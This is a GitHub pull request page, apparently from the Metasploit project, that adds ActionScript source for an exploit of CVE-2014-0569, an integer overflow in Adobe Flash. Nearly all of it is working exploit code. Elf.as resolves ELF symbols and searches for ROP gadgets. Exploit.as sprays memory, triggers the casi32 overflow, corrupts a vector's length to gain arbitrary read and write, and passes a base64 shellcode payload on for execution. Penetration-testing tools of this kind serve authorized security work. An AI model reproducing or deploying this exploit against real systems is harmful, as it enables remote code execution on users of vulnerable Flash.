Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

adobe_flash_casi32_int_overflow: Execution from the flash renderer / Windows 8.1 #5517

Merged
merged 4 commits into from
Jun 10, 2015
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
Binary file modified data/exploits/CVE-2014-0569/msf.swf
Binary file not shown.
235 changes: 235 additions & 0 deletions external/source/exploits/CVE-2014-0569/Elf.as
Original file line number Diff line number Diff line change
@@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3

private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0

public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}

public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0

for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}

public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""

for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}


public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}

private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}

throw new Error()
}

private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}

private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}

private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}

private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0

for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}

throw new Error()
}

private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0

for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}

throw new Error()
}

private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}

throw new Error()
}

private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}

throw new Error()
}

private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}

throw new Error()
}
}
}
114 changes: 114 additions & 0 deletions external/source/exploits/CVE-2014-0569/Exploit.as
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Exploit.as

// It uses original code from @hdarwin89 for exploitation using ba's and vectors

package
{
import flash.display.Sprite
import flash.utils.ByteArray
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder

public class Exploit extends Sprite
{
private var BYTE_ARRAY_SIZE:Number = 1024
private var uv:Vector.<uint>
private var ba:ByteArray
private var b64:Base64Decoder = new Base64Decoder();
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
private var defrag:Vector.<Object> = new Vector.<Object>(100)
private var ov:Vector.<Object> = new Vector.<Object>(200)

public function Exploit()
{
var i:uint = 0
var j:uint = 0

platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()

for (i = 0; i < defrag.length; i++) {
defrag[i] = new ByteArray()
defrag[i].length = BYTE_ARRAY_SIZE
defrag[i].endian = "littleEndian"
}

ba = new ByteArray()
ov[0] = ba
ov[0].length = BYTE_ARRAY_SIZE
ov[0].endian = "littleEndian"

for (i = 1; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1014)
ov[i][0] = 0x41424344
}

ApplicationDomain.currentDomain.domainMemory = ba;
// Make ByteArray length 0 so the casi32 integer overflow
// can be exploited
ba.atomicCompareAndSwapLength(1024, 0)

try {
var uint_vector_pos:uint = search_uint_vector()
} catch (err:Error) {
Logger.log("[!] Exploit - Corrupted Vector.<uint> not found")
return
}

// Overwrite uint vector length
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)

for (i = 0; i < ov.length; i++) {
if (ov[i].length > 1024) {
uv = ov[i]
Logger.log("[*] Exploit - Corrupted Vector.<uint> found")
} else {
ov[i] = null
}
}

exploiter = new Exploiter(this, platform, os, payload, uv)
}

// Methods to use the integer overflow
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0

for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos == 0x41424344) {
return i
}
}
throw new Error()
}

private function read_byte_array(offset:uint = 0):uint {
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
return old
}

private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
var old:uint = read_byte_array(offset)
casi32(offset, old, value)
return old
}
}
}